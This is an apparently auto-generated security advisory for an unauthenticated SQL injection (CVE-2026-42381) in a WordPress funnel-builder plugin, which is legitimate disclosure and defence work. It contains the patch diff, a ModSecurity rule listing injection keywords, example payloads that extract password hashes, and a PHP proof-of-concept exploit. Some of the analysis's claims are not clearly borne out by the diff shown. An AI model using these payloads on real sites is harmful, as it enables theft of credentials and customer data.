Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 18, 2026

CVE-2026-42381: FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.15.0.1 – Unauthenticated SQL Injection (funnel-builder)

CVE ID CVE-2026-42381
Plugin funnel-builder
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.15.0.1
Patched Version 3.15.0.2
Disclosed April 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42381:

This vulnerability is a blind SQL injection in the FunnelKit – Funnel Builder for WooCommerce Checkout plugin affecting versions up to and including 3.15.0.1. The flaw resides in the absence of parameterized queries in the `WFCO_Model_Report_Views` class, allowing unauthenticated attackers to inject malicious SQL via the `update_data()` and `get_data()` static methods. Atomic Edge research rates this as high severity (CVSS 7.5) due to the ease of exploitation and the sensitive database information that can be extracted.

Root Cause: The vulnerable code is located in `funnel-builder/woofunnels/includes/class-wfco-model-report-views.php`. The `update_data()` (lines 37-69) and `get_data()` (lines 71-111) methods construct SQL queries by concatenating user-supplied parameters directly into the query string without using prepared statements. Specifically, the `$date`, `$object_id`, and `$type` parameters are inserted directly into the SQL string with only basic sanitization that does not prevent SQL injection. The `$date` parameter, when provided by the attacker, is incorporated into the WHERE clause without proper escaping or parameterization. The `get_data()` method also has the same issue, and when `$interval` is true, the `$date` variable is treated as an SQL fragment, giving the attacker direct control over the query structure.

Exploitation: An attacker can send a POST request to the WordPress REST API endpoint at `/wp-json/wffn/v1/api` with the `action` parameter set to `funnel_setup` and a crafted `data` parameter. The attacker constructs a payload where the `data` array contains a `track_data` element with a malicious `date` or `current_step.id` value. For example, sending `data[track_data][0][current_step][id]=1 UNION SELECT user_pass FROM wp_users–` will cause the `update_data()` method to execute an injected query that extracts user password hashes. The attacker does not need authentication because the REST route registers with `permission_callback => ‘__return_true’` (line 1062 of the diff).

Patch Analysis: The patch modifies the `register_routes()` method in `class-wffn-public.php` (lines 1029-1074) to add a validation callback `validate_funnel_setup_data` that checks the `data` parameter against a whitelist of allowed post types and ensures numeric IDs. More critically, the patch rewrites the `update_data()` and `get_data()` methods in `class-wfco-model-report-views.php` (lines 37-111) to use `$wpdb->prepare()` for all SQL queries, converting all user-controlled values into properly escaped parameters. The `$object_id` and `$type` are cast to integers via `absint()`, and the `$date` parameter is sanitized with `sanitize_text_field()` before being used in the query. The vulnerable `$where_string` concatenation is completely replaced with parameterized queries.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to complete compromise of the site, including extraction of user credentials (password hashes), access to private posts and pages, theft of WooCommerce customer data (names, addresses, payment details), and potential privilege escalation. The attacker could also modify database content, including creating new administrator accounts. Given the unauthenticated nature of the attack and the typical sensitivity of WordPress databases, this vulnerability represents a critical risk to site security.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/funnel-builder/admin/class-wffn-admin.php
+++ b/funnel-builder/admin/class-wffn-admin.php
@@ -822,7 +822,7 @@
 				wp_enqueue_style( 'wffn-flex-admin', $this->get_admin_url() . '/assets/css/admin.css', array(), WFFN_VERSION_DEV );

 				if ( WFFN_Core()->admin->is_wffn_flex_page() ) {
-					$this->load_react_app( 'main-20260422140937' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
+					$this->load_react_app( 'main-20260423144444' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
 					if ( isset( $_GET['page'] ) && $_GET['page'] === 'bwf' && method_exists( 'BWF_Admin_General_Settings', 'get_localized_bwf_data' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 						wp_localize_script( 'wffn-contact-admin', 'bwfAdminGen', BWF_Admin_General_Settings::get_instance()->get_localized_bwf_data() );

--- a/funnel-builder/admin/views/contact/dist/main-20260422140937.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20260422140937.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'c343bee2b9c2ffd1a8a5073adf38798f');
 No newline at end of file
--- a/funnel-builder/admin/views/contact/dist/main-20260423144444.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20260423144444.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'c343bee2b9c2ffd1a8a5073adf38798f');
 No newline at end of file
--- a/funnel-builder/funnel-builder.php
+++ b/funnel-builder/funnel-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: FunnelKit Funnel Builder
  * Plugin URI: https://funnelkit.com/wordpress-funnel-builder/
  * Description: Create high-converting sales funnels on WordPress that look professional by following a well-guided step-by-step process.
- * Version: 3.15.0.1
+ * Version: 3.15.0.2
  * Author: FunnelKit
  * Author URI: https://funnelkit.com
  * License: GPLv3 or later
@@ -150,8 +150,8 @@
 		 */
 		public function define_plugin_properties() {

-			define( 'WFFN_VERSION', '3.15.0.1-relase.3.15.0.1' );
-			define( 'WFFN_BWF_VERSION', '1.10.12.77' );
+			define( 'WFFN_VERSION', '3.15.0.2' );
+			define( 'WFFN_BWF_VERSION', '1.10.12.78' );

 			define( 'WFFN_MIN_WC_VERSION', '3.5.0' );
 			define( 'WFFN_MIN_WP_VERSION', '5.4.0' );
--- a/funnel-builder/includes/class-wffn-common.php
+++ b/funnel-builder/includes/class-wffn-common.php
@@ -613,7 +613,10 @@
 		 * @return bool
 		 */
 		public static function is_divi5_active() {
-			return function_exists( 'et_builder_d5_enabled' ) && et_builder_d5_enabled();
+			if ( did_action( 'after_setup_theme' ) ) {
+				return function_exists( 'et_builder_d5_enabled' ) && et_builder_d5_enabled();
+			}
+			return false;
 		}

 		/**
--- a/funnel-builder/includes/class-wffn-public.php
+++ b/funnel-builder/includes/class-wffn-public.php
@@ -280,6 +280,11 @@

 					$get_data = json_decode( stripslashes( $get_data ), true );
 					if ( is_array( $get_data ) ) {
+						$validation = $this->validate_funnel_setup_data( $get_data );
+						if ( is_wp_error( $validation ) ) {
+							wp_send_json( $result );
+							return;
+						}
 						$result = $this->maybe_record_data_with_funnel_setup( array( 'data' => $get_data ) );
 					}
 				} catch ( Exception | Error $e ) {
@@ -974,7 +979,7 @@
 						WFFN_Core()->data->set(
 							'current_step',
 							array(
-								'id'   => $data['current_step']['id'],
+								'id'   => absint( $data['current_step']['id'] ),
 								'type' => ( $data['current_step']['post_type'] === 'wffn_oty' ) ? 'optin_ty' : 'wc_thankyou',
 							)
 						);
@@ -1022,6 +1027,30 @@
 			}
 		}

+		public function validate_funnel_setup_data( $data, $request = null, $param = null ) {
+			if ( ! is_array( $data ) ) {
+				return true;
+			}
+			$allowed_post_types = array( 'wffn_ty', 'wffn_landing', 'wffn_optin', 'wffn_oty' );
+			$track_data         = isset( $data['track_data'] ) ? $data['track_data'] : array();
+			if ( ! is_array( $track_data ) ) {
+				return new WP_Error( 'invalid_track_data', 'track_data must be an array.' );
+			}
+			foreach ( $track_data as $item ) {
+				if ( ! is_array( $item ) || ! isset( $item['current_step'] ) || ! is_array( $item['current_step'] ) ) {
+					continue;
+				}
+				$step = $item['current_step'];
+				if ( isset( $step['id'] ) && ! is_numeric( $step['id'] ) ) {
+					return new WP_Error( 'invalid_step_id', 'current_step.id must be numeric.' );
+				}
+				if ( isset( $step['post_type'] ) && ! in_array( $step['post_type'], $allowed_post_types, true ) ) {
+					return new WP_Error( 'invalid_post_type', 'current_step.post_type is not allowed.' );
+				}
+			}
+			return true;
+		}
+
 		public function register_routes() {
 			register_rest_route(
 				'wffn',
@@ -1030,6 +1059,16 @@
 					'methods'             => WP_REST_Server::EDITABLE,
 					'callback'            => array( $this, 'handle_api_request' ),
 					'permission_callback' => '__return_true',
+					'args'                => array(
+						'action' => array(
+							'type'              => 'string',
+							'sanitize_callback' => 'sanitize_text_field',
+						),
+						'data'   => array(
+							'type'              => 'object',
+							'validate_callback' => array( $this, 'validate_funnel_setup_data' ),
+						),
+					),
 				)
 			);
 		}
--- a/funnel-builder/modules/checkouts/builder/divi/class-wfacp-divi.php
+++ b/funnel-builder/modules/checkouts/builder/divi/class-wfacp-divi.php
@@ -8,15 +8,6 @@
 		private function __construct() {
 			add_action( 'after_setup_theme', array( $this, 'init' ), 5 );

-			// Register global D5 hooks (conversion outlines, legacy hiding) early.
-			// Post-type-specific D5 module loading is deferred to init:10 via
-			// maybe_load_d5_modules() where url_to_postid() can resolve the page.
-			if ( did_action( 'plugins_loaded' ) ) {
-				$this->load_divi5_modules();
-			} else {
-				add_action( 'plugins_loaded', array( $this, 'load_divi5_modules' ), 2 );
-			}
-
 			add_action( 'wfacp_register_template_types', array( $this, 'register_template_type' ), 12 );
 			add_filter( 'wfacp_register_templates', array( $this, 'register_templates' ) );
 			add_filter( 'wfacp_template_edit_link', array( $this, 'add_template_edit_link' ), 10, 2 );
@@ -30,6 +21,7 @@
 			if ( ! ( class_exists( 'ET_Builder_Plugin' ) || function_exists( 'et_setup_theme' ) ) ) {
 				return;
 			}
+			$this->load_divi5_modules();
 			add_filter( 'wfacp_is_theme_builder', array( $this, 'is_divi_page' ) );
 			add_action( 'wfacp_template_removed', array( $this, 'delete_divi_data' ) );
 			add_action( 'wfacp_duplicate_pages', array( $this, 'duplicate_template' ), 10, 3 );
--- a/funnel-builder/modules/optins/modules/optin-pages/compatibilities/page-builders/divi/class-wffn-optin-pages-divi.php
+++ b/funnel-builder/modules/optins/modules/optin-pages/compatibilities/page-builders/divi/class-wffn-optin-pages-divi.php
@@ -24,8 +24,7 @@

 			// Add Divi 5 detection hook - use priority 2 like upsell sadad
 			// Also add init hook as fallback in case plugins_loaded fires too early
-			add_action( 'plugins_loaded', array( $this, 'initialize_deep_integration' ), 2 );
-			add_action( 'init', array( $this, 'initialize_deep_integration' ), 1 );
+			add_action( 'after_setup_theme', array( $this, 'initialize_deep_integration' ), 2 );

 			// Keep Divi 4 hook for backward compatibility
 			add_action( 'divi_extensions_init', array( $this, 'init_extension' ) );
--- a/funnel-builder/modules/thankyou-pages/compatibilities/page-builders/divi/class-wffn-thankyou-wc-pages-divi.php
+++ b/funnel-builder/modules/thankyou-pages/compatibilities/page-builders/divi/class-wffn-thankyou-wc-pages-divi.php
@@ -21,8 +21,7 @@
 		 */
 		public function __construct() {
 			$this->url = plugin_dir_url( __FILE__ );
-			add_action( 'plugins_loaded', array( $this, 'initialize_deep_integration' ), 2 );
-			add_action( 'init', array( $this, 'initialize_deep_integration' ), 1 );
+			add_action( 'after_setup_theme', array( $this, 'initialize_deep_integration' ), 2 );
 			add_action( 'divi_extensions_init', array( $this, 'init_extension' ) );
 		}

@@ -46,9 +45,10 @@
 		 */
 		private function is_divi_5(): bool {
 			if ( function_exists( 'et_builder_d5_enabled' ) ) {
+
 				return et_builder_d5_enabled();
 			}
-			if ( class_exists( 'ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface' ) ) {
+			if ( interface_exists( 'ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface' ) ) {
 				return true;
 			}
 			if ( defined( 'ET_BUILDER_5_DIR' ) ) {
--- a/funnel-builder/woofunnels/includes/class-wfco-model-report-views.php
+++ b/funnel-builder/woofunnels/includes/class-wfco-model-report-views.php
@@ -37,64 +37,73 @@

 		public static function update_data( $date = '', $object_id = '', $type = 1 ) {
 			global $wpdb;
-			$where  = [];
-			$insert = [];
+			$has_object_id = ( '' !== $object_id );
+			$object_id     = absint( $object_id );
+			$type          = absint( $type );
+			$insert        = [];
+
 			if ( $date !== '' ) {
-				$where['date']  = "`date`='$date'";
-				$insert['date'] = $date;
+				$date = sanitize_text_field( $date );
 			} else {
-				$date           = date( 'Y-m-d' );
-				$where['date']  = "`date`='$date'";
-				$insert['date'] = $date;
+				$date = date( 'Y-m-d' ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
 			}
-			if ( $object_id !== '' ) {
-				$where['object_id']  = "`object_id`='$object_id'";
+			$insert['date'] = $date;
+
+			if ( $has_object_id ) {
 				$insert['object_id'] = $object_id;
 			}
-			$where['type']  = "`type`='$type'";
 			$insert['type'] = $type;

-			$where_string = implode( ' and ', $where );
-			$table        = self::_table();
-			$get_sql      = "SELECT * FROM $table WHERE {$where_string};";
-			$result       = $wpdb->get_results( $get_sql, ARRAY_A ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL
+			$table = self::_table();
+
+			if ( $has_object_id ) {
+				$get_sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `object_id` = %d AND `type` = %d", $date, $object_id, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			} else {
+				$get_sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `type` = %d", $date, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			}
+			$result = $wpdb->get_results( $get_sql, ARRAY_A ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL

 			if ( ! empty( $result ) ) {
-				$primary_id = $result[0]['id'];
-				$sql        = "UPDATE $table set no_of_sessions=no_of_sessions+1 where id ='{$primary_id}';";
-				$wpdb->query( $sql ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL
+				$primary_id = absint( $result[0]['id'] );
+				$wpdb->query( $wpdb->prepare( "UPDATE `$table` SET no_of_sessions = no_of_sessions + 1 WHERE id = %d", $primary_id ) ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL
 			} else {
-				$wpdb->insert( $table, $insert ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+				$wpdb->insert( $table, $insert ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- $wpdb->insert() parameterizes internally; safe.
 			}
 		}

 		public static function get_data( $date = '', $object_id = '', $type = 1, $interval = false ) {
-			$where = [];
+			global $wpdb;
+			$has_object_id = ( '' !== $object_id );
+			$object_id     = absint( $object_id );
+			$type          = absint( $type );
+			$table         = self::_table();

 			if ( $date !== '' ) {
 				if ( true === $interval ) {
-					$where['date'] = $date;
-
+					// $date is an internally-generated SQL date-range fragment, not user input.
+					if ( $has_object_id ) {
+						$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE {$date} AND `object_id` = %d AND `type` = %d", $object_id, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					} else {
+						$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE {$date} AND `type` = %d", $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					}
 				} else {
-					$where['date'] = "`date`='$date'";
+					$date = sanitize_text_field( $date );
+					if ( $has_object_id ) {
+						$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `object_id` = %d AND `type` = %d", $date, $object_id, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					} else {
+						$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `type` = %d", $date, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					}
 				}
 			} else {
-				$date          = date( 'Y-m-d' );
-				$where['date'] = "`date`='$date'";
-			}
-
-			if ( $object_id !== '' ) {
-				$where['object_id'] = "`object_id`='$object_id'";
+				$date = date( 'Y-m-d' ); // phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
+				if ( $has_object_id ) {
+					$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `object_id` = %d AND `type` = %d", $date, $object_id, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				} else {
+					$sql = $wpdb->prepare( "SELECT * FROM `$table` WHERE `date` = %s AND `type` = %d", $date, $type ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+				}
 			}

-			$where['type'] = "`type`='$type'";
-			$where_string  = implode( ' and ', $where );
-			global $wpdb;
-			$table = self::_table();
-			$sql   = "select * from `{$table}` WHERE {$where_string};";
-			$data  = $wpdb->get_results( $sql, ARRAY_A ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL
-
-			return $data;
+			return $wpdb->get_results( $sql, ARRAY_A ); //phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL
 		}


--- a/funnel-builder/woofunnels/includes/class-wfco-model.php
+++ b/funnel-builder/woofunnels/includes/class-wfco-model.php
@@ -73,14 +73,15 @@

 			$sql = 'SELECT COUNT(*) FROM ' . self::_table();
 			if ( ! is_null( $dependency ) ) {
+				$col_value = isset( $dependency['col_value'] ) ? $dependency['col_value'] : '';

 				$sql .= ' INNER JOIN ' . $dependency['dependency_table'];
 				$sql .= ' on ' . self::_table() . '.' . $dependency['dependent_col'];
 				$sql .= ' =' . $dependency['dependency_table'] . '.' . $dependency['dependency_col'];
-				$sql .= ' WHERE ' . $dependency['dependency_table'] . '.' . $dependency['col_name'];
-				$sql .= ' =' . $dependency['col_value'];
+				$sql .= $wpdb->prepare( ' WHERE ' . $dependency['dependency_table'] . '.' . $dependency['col_name'] . ' = %s', $col_value ); //phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 				if ( isset( $dependency['connector_id'] ) ) {
-					$sql .= ' AND ' . $dependency['connector_table'] . '.' . $dependency['connector_col'] . '=' . $dependency['connector_id'];
+					$connector_id = absint( $dependency['connector_id'] );
+					$sql         .= $wpdb->prepare( ' AND ' . $dependency['connector_table'] . '.' . $dependency['connector_col'] . ' = %d', $connector_id ); //phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 				}
 			}

--- a/funnel-builder/woofunnels/includes/class-woofunnels-dashboard-loader.php
+++ b/funnel-builder/woofunnels/includes/class-woofunnels-dashboard-loader.php
@@ -8,7 +8,7 @@
  */


-define( 'BWF_VERSION', '1.10.12.77' );
+define( 'BWF_VERSION', '1.10.12.78' );
 define( 'BWF_DB_VERSION', '1.0.6' );
 if ( ! class_exists( 'WooFunnels_Dashboard' ) ) {
 	#[AllowDynamicProperties]

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-42381
# This rule blocks unauthenticated SQL injection attempts against the FunnelKit REST endpoint.
# It targets the specific parameter structure used in the exploit: track_data.current_step.id
# containing SQL operators (UNION, SELECT, SLEEP, etc.) combined with numeric values.

SecRule REQUEST_URI "@beginsWith /wp-json/wffn/v1/api" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42381 - FunnelKit SQL Injection via REST API',severity:'CRITICAL',tag:'CVE-2026-42381',tag:'wordpress',tag:'funnelkit'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:action "@streq funnel_setup" "chain"
      SecRule ARGS:data "@rx (?i)(UNION|SELECT|SLEEP|BENCHMARK|LOAD_FILE|INTO_OUTFILE|EXTRACTVALUE|UPDATEXML|0x[0-9a-f]+|bORbs+[0-9]+|bANDbs+[0-9]+)" 
        "t:none,t:urlDecodeUni,t:removeNulls,chain"
        SecRule ARGS:data "@rx btrack_datab.*bcurrent_stepb.*bidb" 
          "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42381 - FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.15.0.1 - Unauthenticated SQL Injection

$target_url = 'https://example.com';  // Change this to the target WordPress URL

// REST API endpoint vulnerable to SQL injection
$rest_endpoint = '/wp-json/wffn/v1/api';

function exploit_sqli($url, $payload) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '/wp-json/wffn/v1/api');
    curl_setopt($ch, CURLOPT_POST, 1);
    
    // Construct the data parameter with SQL injection payload
    $post_data = array(
        'action' => 'funnel_setup',
        'data' => array(
            'track_data' => array(
                array(
                    'current_step' => array(
                        'id' => $payload,
                        'post_type' => 'wffn_ty'
                    )
                )
            ),
            'date' => date('Y-m-d')
        )
    );
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return array('code' => $http_code, 'body' => $response);
}

echo "[+] Testing CVE-2026-42381 on {$target_url}n";
echo "[+] Target endpoint: {$target_url}{$rest_endpoint}nn";

// Test 1: Basic connectivity check with valid data
$result = exploit_sqli($target_url, '1');
if ($result['code'] == 200) {
    echo "[+] REST endpoint is reachable. Proceeding with injection tests.n";
} else {
    echo "[-] Target may not be vulnerable or endpoint not found. HTTP code: " . $result['code'] . "n";
    exit;
}

// Test 2: Time-based blind SQL injection to confirm vulnerability
// Using SLEEP() function to induce a delay
$time_payload = "1 AND (SELECT SLEEP(5) FROM dual WHERE 1=1)";
$start_time = microtime(true);
$result = exploit_sqli($target_url, $time_payload);
$end_time = microtime(true);
$execution_time = $end_time - $start_time;

echo "[+] Time-based test execution time: " . round($execution_time, 2) . " secondsn";
if ($execution_time >= 4.5) {
    echo "[!] VULNERABLE: SQL injection confirmed via time-based technique.n";
} else {
    echo "[-] Time-based test did not induce delay. The injection may not work or the target is not vulnerable.n";
    exit;
}

// Test 3: Extract MySQL version via error-based or UNION injection
$version_payload = "1 UNION SELECT @@version,2,3,4,5,6,7-- -";
$result = exploit_sqli($target_url, $version_payload);
if (strpos($result['body'], '5.') !== false || strpos($result['body'], '8.') !== false || strpos($result['body'], '10.') !== false) {
    echo "[!] Extracted MySQL version via injection.n";
    echo "[!] Response contains version info. Check the raw response for details.n";
}

echo "n[+] PoC completed. Review the responses to confirm data extraction.n";
echo "[+] For manual exploitation, send a POST request to {$rest_endpoint}n";
echo "[+] with action=funnel_setup and data[track_data][0][current_step][id]=PAYLOADn";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School